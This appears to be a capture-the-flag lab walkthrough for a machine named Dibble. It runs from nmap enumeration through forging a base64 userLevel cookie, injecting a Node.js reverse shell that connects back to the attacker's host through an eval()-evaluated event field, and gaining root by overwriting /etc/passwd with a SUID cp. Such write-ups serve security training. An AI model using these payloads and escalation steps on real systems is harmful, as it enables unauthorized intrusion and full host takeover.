Exploitation Guide for Dibble

Summary
In this walkthrough, we discover an application running NodeJS. We'll gain a foothold by registering a user and then elevate our privileges by changing a cookie value. We'll then inject code in the application to achieve RCE. After careful enumeration, we discover the SUID bit set on a system tool and use that to gain root-level access.
Enumeration
Nmap
We'll start off with a basic nmap
scan.
kali@kali:~$ sudo nmap -sV -sC 192.168.120.69
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-10-08 09:56 -03
Nmap scan report for 192.168.120.69
Host is up (0.18s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.118.8
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
| 3072 9d:3f:eb:1b:aa:9c:1e:b1:30:9b:23:53:4b:cf:59:75 (RSA)
| 256 cd:dc:05:e6:e3:bb:12:33:f7:09:74:50:12:8a:85:64 (ECDSA)
|_ 256 a0:90:1f:50:78:b3:9e:41:2a:7f:5c:6f:4d:0e:a1:fa (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Fedora))
|_http-generator: Drupal 9 (<https://www.drupal.org>)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.46 (Fedora)
|_http-title: Home | Hacking Articles
3000/tcp open http Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 58.79 seconds
Curl
An interesting application is running on port 3000:
kali@kali:~$ curl <http://192.168.120.69:3000/> | html2text
Index |Login | Register_an_account |See_All_Events
****** Events and Issues Reporting ******
[robot.jpg]
*** Our Incidents Management Software enables customer support staff to
receive, process, and respond to incident or service requests. Its a Multi
channel ticket management software that allows you to centralise all your
customer conversations via E-mail, Web portal, Twitter, Facebook, Phone and
Chat.
This platform is Certified ITIL/ITSM Compliant with features like CMDB, Asset
Management, Incident Management, Problem Management, Knowledgeable
Management,Service Catalog, Change Management and Release Management. ***
Exploitation
Weak authentication
This seems to be an event system that allows us to message an administrator. We can easily create a new user via the Register
link. Once registered and logged in, we are able to add a new log event under the New Event Log
tab. However, when we try to submit the new event, the system prompts that "Only the admin can update the Event logs".
One interesting thing to notice is the presence of a userLevel
cookie with the value ZGVmYXVsdA%3D%3D
. Let's try to base64-decode the string:
kali@kali:~$ echo "ZGVmYXVsdA==" | base64 --decode
default
This decodes as default
, which may refer to our access level. Let's try to update the userLevel
cookie with a new value:
kali@kali:~$ echo -n admin | base64
YWRtaW4=
With this modification in place, we can now send messages.
Code injection & RCE
The next interesting find is the add technical details/code if required
Event Message. Considering that this is a NodeJS application, it might be possible to inject Javascript Code.
To test this, we'll send a simple 1+1
operation as an "Event Message".

Send event
After reviewing the resulting stored message, we confirm that it actually saved 2
.

Event result
This indicates that the string is not simply being saved. Instead, it is being evaluated by something like the Node eval()
function. Let's try something more complicated.
(function(){
return 2+2;
})();
In this case the result is 4
, and we were even able to inject the function()
code. This means we should be able to use NodeJS functions to create a reverse shell.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(21, "192.168.118.8", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
This grants us code execution.
kali@kali:~$ nc -lvnp 21
listening on [any] 21 ...
connect to [192.168.118.8] from (UNKNOWN) [192.168.120.69] 43930
python3 -c 'import pty; pty.spawn("/bin/bash")'
[benjamin@dibble ~]$
Escalation
SUID
In search of escalation options, we discover that /usr/bin/cp is SUID-enabled.
[benjamin@dibble ~]$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/cp
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chage
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/newgrp
/usr/sbin/grub2-set-bootflag
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
Armed with this, escalation should be simple. First, let's create a copy of the /etc/passwd file.
[benjamin@dibble ~]$ cat /etc/passwd > passwd.orig
Next, we'll generate a passwd
compatible password (testing
).
[benjamin@dibble ~]$ openssl passwd testing
KWi2XW05LmkMg
We'll create a root2
user by adding the following line to our copy of the passwd file:
[benjamin@dibble ~]$ echo "root2:KWi2XW05LmkMg:0:0:root:/root:/bin/bash" >> passwd.orig
Since the cp utility is SUID-enabled, we'll be able to replace the original /etc/passwd file with our "forged" copy command.
[benjamin@dibble ~]$ cp passwd.orig /etc/passwd
With the file in place, we should be able to su
as our new root-level user.
[benjamin@dibble ~]$ su root2
Password: testing
[root@dibble benjamin]# whoami
root
Discussion